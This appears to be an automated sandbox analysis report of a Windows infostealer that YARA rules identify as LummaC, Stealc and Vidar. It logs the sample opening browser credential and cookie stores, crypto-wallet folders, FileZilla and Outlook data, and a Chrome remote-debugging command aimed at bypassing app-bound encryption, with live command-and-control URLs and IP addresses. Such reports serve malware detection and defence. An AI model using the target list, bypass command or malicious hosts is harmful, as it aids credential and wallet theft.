Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2721838299.000000000034C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2100, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3cb3eea49a.exe PID: 7144, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 28.2.3cb3eea49a.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 3cb3eea49a.exe PID: 7144, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2232961583.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2723107847.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2721838299.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2100, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2100, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0C40 sqlite3_bind_zeroblob,	0_2_6CCD0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0D60 sqlite3_bind_parameter_name,	0_2_6CCD0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8EA0 sqlite3_clear_bindings,	0_2_6CBF8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CCD0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6410 bind,WSAGetLastError,	0_2_6CBF6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF60B0 listen,WSAGetLastError,	0_2_6CBF60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC030 sqlite3_bind_parameter_count,	0_2_6CBFC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6070 PR_Listen,	0_2_6CBF6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CBFC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB822D0 sqlite3_bind_blob,	0_2_6CB822D0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	29%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	29%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	34%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpltHOMEDRIVE=C:HO	100%	Avira URL Cloud	malware
thicktoys.sbs	0%	Avira URL Cloud	safe
faintbl0w.sbs	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php3x	100%	Avira URL Cloud	malware
https://fleez-inc.sbs/	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/apiR9pg	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe6	100%	Avira URL Cloud	phishing
https://fleez-inc.sbs/-	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe6139	100%	Avira URL Cloud	phishing
https://fleez-inc.sbs/apiata%	0%	Avira URL Cloud	safe
300snails.sbs	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpM	100%	Avira URL Cloud	malware
http://185.215.113.206ngineer	0%	Avira URL Cloud	safe
3xc1aimbl0w.sbs	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php9	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php;(	100%	Avira URL Cloud	malware
https://fleez-inc.sbs:443/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
fleez-inc.sbs	104.21.0.123	true	true	unknown
plus.l.google.com	142.250.186.78	true	false	high
play.google.com	142.250.185.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.245.60.72	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.132	true	false	high
googlehosted.l.googleusercontent.com	142.250.184.225	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
